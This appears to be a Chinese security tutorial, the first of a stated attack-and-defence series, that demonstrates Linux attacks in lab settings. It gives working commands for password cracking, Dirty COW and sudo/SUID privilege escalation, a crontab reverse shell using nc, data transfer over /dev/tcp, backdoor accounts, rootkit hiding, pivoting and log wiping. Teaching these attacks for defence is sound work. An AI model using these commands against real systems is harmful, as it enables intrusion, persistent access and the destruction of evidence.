針對linux系統的一些攻擊
一、前言
本系列文檔包括三個部分,分別是《針對Linux系統的攻擊》、《Linux系統安全加固》和《Linux系統入侵排查》。編寫這些文檔的目的,是從攻和防的角度分別對Linux系統相關的安全技術進行介紹,使初級水平的網絡安全從業者對Linux操作系統的脆弱性檢查、安全加固、應急響應等安全服務工作產生更清晰的認識。
本文是系列文檔的第一部分,介紹針對Linux系統的攻擊方法。正所謂“未知攻,焉知防”,要掌握Linux系統的安全防護技術,必須了解基本的攻擊技術,知道黑客在攻擊的時候會做哪些事情,才好有針對性地進行防御。
二、針對Linux系統進行攻擊
本文所涉及到的針對Linux系統的攻擊方式包括以下這些:
- 暴力破解
- 服務漏洞
- 權限提升
- 文件傳輸
- 木馬后門
- rootkit
- 端口轉發和socks代理
- 隱蔽信道
- 物理攻擊
- 痕跡清理
下面分別進行介紹。
(一)暴力破解
暴力破解在這里主要是針對Linux系統的賬號和口令進行離線攻擊或在線攻擊。
所謂的離線攻擊是指攻擊者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻擊者本地進行破解。而在線攻擊是指攻擊者遠程對Linux系統的服務如ssh、telnet等進行口令破解,不斷地嘗試登錄,根據服務器返回的信息來判斷正在嘗試的口令是否正確。
1. 離線攻擊
離線攻擊所使用的工具有很多,最常用的有兩個,一個是John the ripper,另一個是hashcat。這兩個工具都在kali linux的軟件安裝源里面,所以都可以在線安裝。另外Linux系統管理員也可以使用john the ripper在對Linux系統進行脆弱性檢查的時候確定自己的系統中是否存在弱口令。
例子:使用John The Ripper對Ubuntu 1604系統的口令文件進行字典攻擊
//攻擊者在本地安裝john the ripper
apt install john
//下載目標系統的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并這兩個文件。unshadow是john軟件包中的一個程序
/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db
//使用默認的口令字典開始破解(/usr/share/john/password.lst)
john /tmp/crack.password.db
可以看到,得到了root和user1用戶的口令。
//也可以指定其它字典文件進行破解
john /tmp/crack.password.db --wordlist /word/list/file
2. 在線攻擊
Linux平臺用于遠程破解口令的軟件比較常用的有hydra和nmap。
例子:使用hydra對本地系統進行遠程口令破解
//使用hydra,通過telnet服務對本地的user1用戶的口令進行破解,指定使用john的口令字典文件
hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet
-l //指定用戶名,若不知道用戶名澤需要指定用戶名字典
-P //指定口令字典文件
127.0.0.1 //指定目標IP地址
telnet //指定目標服務
破解成功,得到了user1用戶的口令:123456。同樣,root用戶的口令也可以破解出來,這里不再贅述。
(二)攻擊服務漏洞
Linux系統中可能部署了各種服務,如果軟件存在漏洞或者服務存在錯誤的配置,則很可能被攻擊者利用。例如NFS服務和samba服務:
NFS:
如果導出資源的范圍過大并且權限過高,則存在風險。例如導出了根文件系統并允許讀寫,則攻擊者可將ssh公鑰寫入ssh授權文件,行程ssh證書后門,實現非授權訪問。
samba:
版本:Samba3.x,共享目錄可寫并允許wide links,則攻擊者可以訪問目標主機的根文件系統并得到shell。
1. 攻擊NFS服務的漏洞
例子,攻擊者將自己的公鑰文件寫入目標Linux系統(metasploitable 2)的NFS共享
//攻擊者在本地創建臨時目錄
mkdir /tmp/r00t
//在目標服務器的NFS服務存在錯誤配置的情況下,攻擊者將該服務器通過NFS服務共享出來的根目錄掛載到剛創建的臨時目錄
mount -o nolock -t nfs remote_ip:/ /tmp/r00t
//攻擊則會將自己的公鑰文件通過NFS共享寫入到目標主機的ssh授權文件中,這樣就形成了ssh證書后門
cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
//之后攻擊者即可通過證書訪問目標系統的ssh服務
ssh root@remote_ip
2. 攻擊Samba服務的漏洞
例如在metapsloitable2靶機中,samba服務存在漏洞,導致攻擊者可以得到靶機的shell。
use exploit/multi/samba/usermap_script
set rhost remote_ip
exploit
得到shell。
(三)權限提升
權限提升的方法很多,主要介紹四種方法:內核漏洞提權、sudo提權、suid提權和capabilities提權。提權的主要目的是實現對目標系統更大程度的控制,提權所使用的技術也可以作為后門來使用。
1. 內核漏洞提權
通過內核漏洞進行提權的方法很多,這里介紹臟牛(dirty-cow)漏洞提權。
例子:Linux系統(metasploitable 2)通過臟牛漏洞提權
(1) 獲取源代碼
//登錄目標系統:
ssh user1@target_ip
EXP下載地址:https://github.com/FireFart/dirtycow
(2) 提權
//在目標系統中編譯源代碼,生成可執行文件,名為dirty
gcc -pthread dirty.c -o dirty -lcrypt
//運行dirty程序開始提權
./dirty abcd1234 //指定口令
提權的準備已經完成了,可以看到/etc/passwd文件已經變成了二進制文件。接下來就可以切換到root身份了。
su - firefart //切換到firefart用戶,輸入前面設置的口令
從圖中可以看到,用戶的uid為0,提權成功了。
2. sudo提權
推薦閱讀:《centos 7系統配置sudo策略(附sudo提權演示)》
https://www.freebuf.com/articles/system/243526.html
該文章介紹了sudo提權的方法。
例子:Linux系統(metasploitable 2)通過sudo提升權限
//查看當前用戶允許通過sudo執行的命令
sudo -l
從sudo -l的返回結果來看,系統允許以sudo的方式執行awk、less、vim這三個命令。
//sudo awk提權
sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk提權成功,得到了root shell。
//sudo less提權
sudo less /etc/lsb-release
在less的底部輸入!/bin/bash,可以看到提權成功,得到了root shell。
//sudo vim提權
sudo vim -c '!bash'
提權成功,得到了root shell。
3. suid提權
推薦閱讀:《CentOS 7系統利用suid提權獲取Root Shell》
https://www.freebuf.com/articles/system/244627.html
該文章較詳細地介紹了suid提權獲取root shell的方法。
例子:Linux系統(metasploitable 2)通過suid程序提升權限
//使用find命令在系統中查找具有suid標志位的文件
find / -perm -u=s -type f 2>/dev/null
假設攻擊者找到了find、nmap、more這三個可執行文件設置了suid,那么下面嘗試進行提權。
//使用帶有suid的find命令進行提權
find . -exec /bin/sh -p ; -quit
使用find命令進行提權。查看看到,find命令通過exec參數創建了一個子進程,這個子進程的euid為0,因此這個子進程是一個root shell。
//使用帶有suid的nmap命令進行提權
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse 127.0.0.1
得到了root shell。這個root shell有個特點,就是看不到輸入的命令,只能看到執行的結果。
//使用帶有suid的more命令進行提權
more /etc/profile
//在底行輸入
!/bin/sh -p
可以看到,也得到了root shell。使用more打開的必須是一個在當前屏幕中無法完全顯示的文件,這樣才會出現底行,提示顯示的百分比,攻擊者才能輸入!/bin/sh -p
4. capabilities提權
推薦閱讀:Linux系統利用可執行文件的Capabilities實現權限提升
https://www.freebuf.com/articles/system/251182.html
capabilities的作用是提供一種與suid相比更細粒度的控制,在執行特權操作的時候,如果進程或線程的euid不是root,那么系統就檢查該線程是否具有該特權操作對應的capability,如果具有,才能執行特權操作。就像是把suid分成了很多份,需要的時候給你其中一份,其它份不給。
例如,在安裝wireshark軟件后,默認情況下普通用戶無法對網卡實施抓包操作。這是因為普通用戶不具備抓包操作的權限。
wireshark給出的方法是,將當前用戶加入wireshark組:
但是也可以為wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities。授予權限之后之后普通用戶就可以進行抓包操作了:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
例子:Linux系統(CentOS 7)通過帶有capabilities的程序提權
//查找設置了capabilities的程序
getcap -r / 2>/dev/null
首先要在系統中查找設置了capabilities的程序。其中設置了cat_setuid的capability的程序存在提權的可能性。常見的可以通過cap_setuid的capability提權的程序包括gdb、perl、Python、php、ruby、rvim、vim、tar等。
//通過gdb提權
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
提權成功,得到了root shell。
(四)文件傳輸
1. 將文件上傳到目標Linux
例子,使用下面的命令將文件從遠程主機上傳到目標Linux服務器:
第一步,遠程主機創建測試文件并監聽端口
echo "get by bash." > bash.sent
nc -l -p 12345 < bash.sent
第二步,目標Linux服務器使用bash連接遠程主機并獲取文件
bash -c 'cat < /dev/tcp/192.168.43.237/12345 > bash.get'
文件傳輸成功。
2. 從目標Linux系統下載文件
例子,使用下面的命令將目標Linux系統的文件下載到遠程主機:
第一步,遠程主機監聽12345端口
nc -l -p 12345 > bash.get
第二步,Linux服務器創建測試文件并使用bash將文件傳輸到遠程主機
echo "sent by bash." > bash.sent
bash -c 'cat bash.sent > /dev/tcp/192.168.43.237/12345'
第三步,遠程主機查看接收到的文件
文件傳輸成功。
(五)木馬后門
后門的種類很多,例如下面這些:
- uid為0的賬戶
- crontab后門
- ssh證書后門
- ssh服務后門
- ssh客戶端后門
- systemd服務后門
推薦閱讀:《Linux系統后門初步研究》
https://www.freebuf.com/articles/system/259494.html
該文章介紹了一些Linux系統后門的創建方法。
在本文檔中,分別對uid為0的賬戶、crontab后門和ssh證書后門進行介紹。
1. 創建uid為0的后門賬戶
//創建用戶賬戶,指定賬戶的uid為0
useradd -o -u 0 hack1
//設置口令
passwd hack1
首先在系統中創建一個后門賬戶,該賬戶的uid設置為0,也就是說,創建一個超級用戶。
注意,這個賬戶受到ssh服務配置的影響。如果sshd_config文件中設置PermitRootLogin為no,那么,這個hack1用戶是無法遠程登錄的,雖然他的用戶名不是root。
2. 創建crontab后門
//在被攻擊機器上,以root身份編輯crontab
crontab -e -u root
*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555
保存退出
//攻擊者監聽本地端口,得到反彈shell
nc -l -p 5555
3. 創建ssh證書后門
//攻擊者創建公私密鑰對
ssh-keygen -t rsa
//攻擊者將公鑰復制到目標主機
ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.132
//攻擊者使用證書登錄目標主機
ssh root@192.168.242.132
輸入密鑰短語即可登錄。
這樣即使目標主機更改了root口令,只要證書還在目標主機上,攻擊者就可以遠程登錄。
(六)rootkit
1. rootkit是什么?
根據百度百科的解釋,rootkit是一種特殊的惡意軟件,它的功能是在安裝目標上隱藏自身及指定的文件、進程和網絡鏈接等信息,比較多見到的是Rootkit和木馬、后門等其他惡意程序結合使用。也就是說,用rootkit去隱藏木馬所使用的文件、進程、網絡連接等。
2. 安裝rootkit
下面我們舉個例子,在CentOS 6.5系統中使用LKM(loadable kernel module)后門adore-ng提升權限、隱藏進程和文件。
首先將adore-ng下載到目標主機,解壓縮,進入解壓縮后的目錄
//編譯
make -j 4
//插入內核模塊。
insmod adore-ng.ko
//將rootkit程序復制到臨時目錄
cp -r /home/user1/adore-ng-master /tmp/
//修改權限
chmod -R 777 /tmp/adore-ng-master
//進入目錄
cd /tmp/adore-ng-master
//查看幫助
./ava
進入/tmp下的adore-ng目錄,運行目錄中的ava,這是一個可執行程序,在不加任何參數的情況下顯示幫助信息。從幫助信息中可以看到,這個軟件可以做以下的事情:
隱藏文件、提權為root、隱藏進程(make PID invisible)。
3. 使用rootkit進行提權
/tmp/adore-ng-master/ava r cat /etc/shadow | grep root
user1用戶正常情況下無法查看shadow文件的內容,但是使用adore-ng的ava,就可以實現提權,可以查看shadow文件的內容。如果執行的是/bin/bash,那么可以得到一個root shell。
4. 使用rootkit隱藏進程
cd /opt/hack
//查看需要被隱藏的那個進程的源碼。實際上這是一個shell腳本,它的功能是通過無限循環,將This is the virus寫入文件file.txt。
cat hack.sh
//以root身份在后臺運行hask.sh
hack.sh &
hack.sh腳本在后臺運行后,其PID為2734。可以在ps命令的結果中看到這個進程。
//應用rootkit的功能,隱藏PID為2734的進程
/tmp/adore-ng-master/ava i 2734
進程隱藏成功,看不到2734進程了,也查不到名稱中含有hack.sh的進程。該進程在ps命令中被隱藏。
5. 使用rootkit隱藏文件
//現在我們使用h參數,來隱藏hack.sh所生成的file.txt這個文件。
/tmp/adore-ng-master/ava h file.txt
可以看到,使用ls命令,即使加上用于顯示隱藏文件的-a參數,也看不到file.txt了。
(七)轉發和代理
攻擊者入侵linux系統后,可通過修改路由表、設置iptables、部署端口轉發和socks代理軟件等方式,將被入侵系統作為跳板,進一步入侵目標系統所在內網的其它機器。
1. 端口轉發
例子,通過設置iptables,將目標Linux系統作為跳板機訪問內網機器(metasploitable 2)
(1) 跳板機操作
//被攻擊系統啟用ip轉發
echo 1 > /proc/sys/net/ipv4/ip_forward
//被攻擊系統創建iptables轉發規則,將去往192.168.1.8的2222端口的數據包轉發到192.168.1.7的22端口
iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 --dport 2222 -j DNAT --to 192.168.1.7:22
//被攻擊系統啟用地址轉換
iptables -t nat -A POSTROUTING -j MASQUERADE
(2) 攻擊者本地操作
//攻擊者訪問被攻擊系統(跳板機)的2222端口
ssh -p 2222 root@192.168.1.8
可以訪問到內網機metasploitable 2的ssh服務。說明端口轉發成功。
2. socks代理
推薦閱讀:《內網滲透:使用ew實現socks代理》
https://www.freebuf.com/sectool/234254.html
例子,將earthworm作為socks代理使攻擊者訪問內網計算機
場景描述:攻擊者(192.168.1.7)位于外網,無法訪問目標網絡內部的主機。但是攻擊者可以訪問目標網絡中對外暴露的服務器(192.168.1.8),這臺服務器擁有內網IP地址(192.168.56.113),可以訪問內網機器。
攻擊鏈路:攻擊者以服務器(192.168.1.8)為跳板,攻擊內網機器(192.168.56.101)。
攻擊方法如下:
(1) 跳板機操作
//攻擊者以某種手段控制了被攻擊系統后,將ew_for_linux傳到被攻擊系統,并將文件改名。
mv ew_for_linux ew
//在8888端口上開啟socks代理,ssocksd提供正向代理功能
./ew -s ssocksd -l 8888
ew開始監聽端口了。此時被攻擊系統已成為跳板機??梢钥吹浇貓D中當前用戶是root,實際上監聽1024以上的端口無需root權限,普通用戶即可。攻擊者連接到跳板機的8888端口之后,跳板機根據本機的路由表配置,將訪問者的數據包從適當的網口轉發出去。轉發之后,包的源地址會被修改為這個出口的IP地址。
注意,在linux跳板機上轉發數據包,內核的IP轉發功能是需要開啟的。
(2) 攻擊者本地運行全局代理
以proxychains為例,說明全局代理的用法:
apt install proxychains //安裝proxychains
vi /etc/proxychains.conf //配置proxychains
將最后一行的socks4注釋掉,添加下面的行,端口為跳板機上的ew監聽的8888:
socks5 192.168.1.8 8888
保存退出
proxychains telnet 192.168.56.101 //通過socks代理訪問目標機
登錄成功。也就是說,只要能訪問到跳板機上ew代理程序的監聽端口,就可以訪問對跳板機來說路由可達的主機。
(3) 驗證
在目標機抓包,可以看到訪問者的地址是跳板機的地址(192.168.56.113),也就是說,socks代理的工作是正常的。
(八)隱蔽信道
網絡協議信息隱藏(協議隱寫)是一種利用數據包作為掩護載體,將秘密信息隱匿在網絡協議的數據包之中的信息隱藏技術,它可以通過網絡協議數據包中的保留、可選、未定義等字段和數據包的順序、數量、到達時間、特定時間流量以及其它可被利用的特征,在網絡中不同的主機之間建立隱蔽信道。
下面舉個例子,使用httptunnel建立基于http協議的隱蔽信道。
1. 服務端啟動監聽
軟件分為服務端(hts)和客戶端(htc)兩部分,分別進行如下的操作以實現隱蔽隧道:
//啟動ssh服務
systemctl start ssh
//服務端程序hts監聽本機的80端口,將接收到的數據轉發給監聽22端口的程序
hts --forward-port localhost:22 80
2. 客戶端建立連接
//客戶端將發給本地900端口的數據包轉發到服務端(10.42.0.1)的80端口
htc --forward-port 900 10.42.0.1:80
//客戶端使用ssh程序訪問本地的900端口
ssh user1@127.0.0.1 -p 900
之后可以成功連接10.42.0.1的ssh服務
3. 驗證
//在客戶端ssh程序中執行命令,之后在服務器端抓包
tcpdump -i 網絡接口
只抓到了http協議包,沒有抓到ssh協議的任何數據,說明ssh協議數據被成功封裝到了http包中,隱蔽隧道建立成功。
(九)物理攻擊
例如在CentOS 7系統中,如果能夠以物理方式訪問服務器,則可以通過下面的方法獲得root權限:
//物理方式關閉服務器,之后打開電源,進入內核選擇界面:
//按e鍵,進入編輯模式。
在kernel引導行所在參數行尾添加以下內容init=/bin/sh(注意空格):
修改成:
linux16 /vmlinuz-3.10.0-327.el7.x86_64 root=/dev/mApper/centos-root ro
crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=
en_US.UTF-8 init=/bin/sh
//按下ctrl-x,進入單用戶模式:
//掛載根分區為可讀寫模式。掛載后即可訪問該系統中的資源了
mount -o remount,rw /
//如果想以多用戶模式進入操作系統,可修改root口令
passwd 用戶名
或者創建一個uid為0的賬戶并設置口令
//重啟服務器,輸入帳號口令后進入系統。
exec /sbin/reboot
(十)痕跡清理
1. 清除命令歷史
//清空用戶的命令歷史文件
echo > ~user1/.bash_history
//清空內存中的歷史列表
history -c
//保留前150行
sed -i '150,$d' .bash_history
2. 刪除訪問日志
//清空ssh登錄成功和失敗的日志
echo > /var/log/secure
//清除含有自己IP地址的日志
sed -i '/192.168.242.1/d' /var/log/secure
3. 修改文件時間
//修改創建時間和訪問時間
touch -d "2019-01-01 08:10:30" /path/to/malware
//復制正常文件的時間屬性給攻擊者部署的惡意文件
touch -r /etc/yum.conf /path/to/malware
4. 徹底刪除文件
(1) wipe
wipe -rfi private/*
-r:遞歸刪除,-f:強制刪除并禁用確認查詢,-i:顯示擦除進度
(2) shred
find ./dir-name -type f -exec shred -zvu -n 3 {} ;
-z:用0覆蓋,-v:顯示操作進度,-u:覆蓋后截斷文件并刪除
-n:指定覆蓋文件內容的次數,默認3次
說明
Linux系統中使用rm命令刪除的只是文件的硬鏈接,文件的內容還存放在文件系統中,使用數據恢復軟件就可以將文件恢復出來。攻擊者需要使用特定的安全刪除軟件來徹底地刪除文件。這些安全刪除軟件用0或者隨機數字反復多次地覆蓋被刪除文件所占用的磁盤區域,從而使該文件無法被恢復。
三、總結
本文簡單介紹了針對Linux系統的攻擊方法,在下一篇文章中,將介紹防御這些攻擊方法而采取的安全加固